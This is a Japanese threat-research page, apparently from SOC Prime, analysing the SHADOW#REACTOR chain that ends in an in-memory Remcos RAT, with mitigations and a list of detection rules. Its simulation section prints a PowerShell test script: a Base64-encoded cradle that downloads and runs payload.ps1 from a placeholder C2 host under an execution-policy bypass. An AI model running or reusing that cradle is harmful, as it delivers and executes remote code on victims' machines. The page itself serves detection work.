SOC Prime Bias: 中程度

15 Jan 2026 15:51 UTC

SHADOW#REACTOR – テキストオンリーステージング、.NETリアクター、インメモリーREMCOS RATデプロイメント

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon フォローする
SHADOW#REACTOR – テキストオンリーステージング、.NETリアクター、インメモリーREMCOS RATデプロイメント
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

SHADOW#REACTORは、難読化されたVBSランチャー、PowerShellベースのダウンローダー、テキストのみのステージングアーティファクト、.NET Reactorで保護されたローダー、そしてMSBuild実行を組み合わせて最終的にRemcosリモートアクセス型トロイの木馬(RAT)を展開する多段階のWindowsマルウェアチェーンです。

調査

研究者たちは、攻撃者インフラストラクチャから取得したVBSスクリプトから始まり、ステージングされたテキストペイロードを再構築しデコードするPowerShellルーチンを経てそのフローを再構築しました。このチェーンは、.NETアセンブリのリフレクティブなメモリ内のロードと、最終的にMSBuildへの移行を続け、Remcos RATの実行をトリガーします。この記事では、テキストエンコードされたコンポーネント、復号ロジック、およびアクセスを維持するための持続性のある手法が記録されています。

緩和策

スクリプトホストおよびインタープリタの監視カバレッジを増やし、可能であればユーザー書き込み可能なパスからのVBS/PowerShellの実行を防ぎます。特定されたインフラストラクチャへの不審なアウトバウンドHTTPトラフィック、MSBuildの誤用、およびリフレクティブな.NETアセンブリロードの検出を追加します。実行キーの変更やショートカットベースのスタートアップエントリを含む共通の持続的なパターンを監視します。

対応策

SHADOW#REACTOR活動が確認された場合、エンドポイントを隔離し、プロセスチェーン全体(wscript.exe → powershell.exe → msbuild.exe)を終了させます。ステージングされたテキストファイルや関連するレジストリアーティファクトを削除し、Remcosバイナリおよび関連する構成データを削除することによって修復します。その後、追加の侵害を把握し、完全な根絶を確実にするために徹底的なフォレンジックレビューを実施します。

攻撃フロー

検出

LOLBAS WScript / CScript(process_creation経由)

SOC Prime チーム
2026年1月14日

疑わしいPowershell文字列(powershell経由)

SOC Prime チーム
2026年1月14日

オートスタート位置での疑わしいバイナリ/スクリプト(file_event経由)

SOC Prime チーム
2026年1月14日

公共ユーザープロファイルでの疑わしいファイル(file_event経由)

SOC Prime チーム
2026年1月14日

公共ユーザープロファイルからの疑わしい実行(process_creation経由)

SOC Prime チーム
2026年1月14日

Powershellからの疑わしい.NETメソッドの呼び出し(powershell経由)

SOC Prime チーム
2026年1月14日

IOCs(HashSha256): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開

SOC Prime AIルール
2026年1月14日

IOCs(SourceIP): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開

SOC Prime AIルール
2026年1月14日

IOCs(DestinationIP): SHADOW#REACTORの検出 – テキストのみのステージング、.NET REACTOR、メモリ内Remcos RAT展開

SOC Prime AIルール
2026年1月14日

SHADOW#REACTOR感染チェーンの検出[Windowsプロセス作成]

SOC Prime AIルール
2026年1月14日

ExecutionPolicyバイパスと難読化されたPowerShellコマンドの検出[Windows Powershell]

SOC Prime AIルール
2026年1月14日

シミュレーション実行

前提条件: テレメトリ & ベースラインの予備チェックが合格している必要があります。

動機: このセクションは、検出ルールをトリガーするために設計された敵のテクニック (TTP) の正確な実行を詳細に説明します。コマンドと説明は、識別されたTTPを正確に反映し、検出ロジックが予期する特定のテレメトリーを生成することを目指しています。

  • 攻撃の物語とコマンド:
    限定的な横への移動権限しか持たない攻撃者が、一般的なスクリプト・ブロッキングの防御を回避しながら、妥協したWindowsホスト上で遠隔ペイロードを実行しようとしています。彼らはPowerShellを使用して -ExecutionPolicy Bypass を使用して実行ポリシーの制限を無視します。マルウェアペイロードは、Base64エンコードされた文字列として難読化されており、デコードされると System.Net.WebClient オブジェクトを作成してC2サーバーからPowerShellスクリプトをダウンロードし、それを実行します。この組み合わせは、すべての3つの検出基準(ExecutionPolicy Bypass, FromBase64String, System.Net.WebClient).

  • 回帰テストスクリプト:

    #--------------------------------------------
    # シミュレートされた悪意のあるPowerShell実行
    #--------------------------------------------
    # 1. シンプルなリモートスクリプトを作成(デモ用)
    $remoteScript = 'Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://{C2_HOST}/payload.ps1")'
    # 2. スクリプトをBase64でエンコード
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($remoteScript)
    $b64   = [Convert]::ToBase64String($bytes)
    # 3. ExecutionPolicy BypassとFromBase64Stringで実行
    PowerShell -ExecutionPolicy Bypass -Command "
        $decoded = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$b64'));
        Invoke-Expression $decoded
    "
  • クリーンアップコマンド:

    # ダウンロードされたペイロードを削除し、残ったPowerShellプロセスを停止
    Get-Process -Name powershell | Where-Object {$_.StartInfo.Arguments -match 'ExecutionPolicy Bypass'} | Stop-Process -Force
    Remove-Item -Path "C:Temppayload.ps1" -ErrorAction SilentlyContinue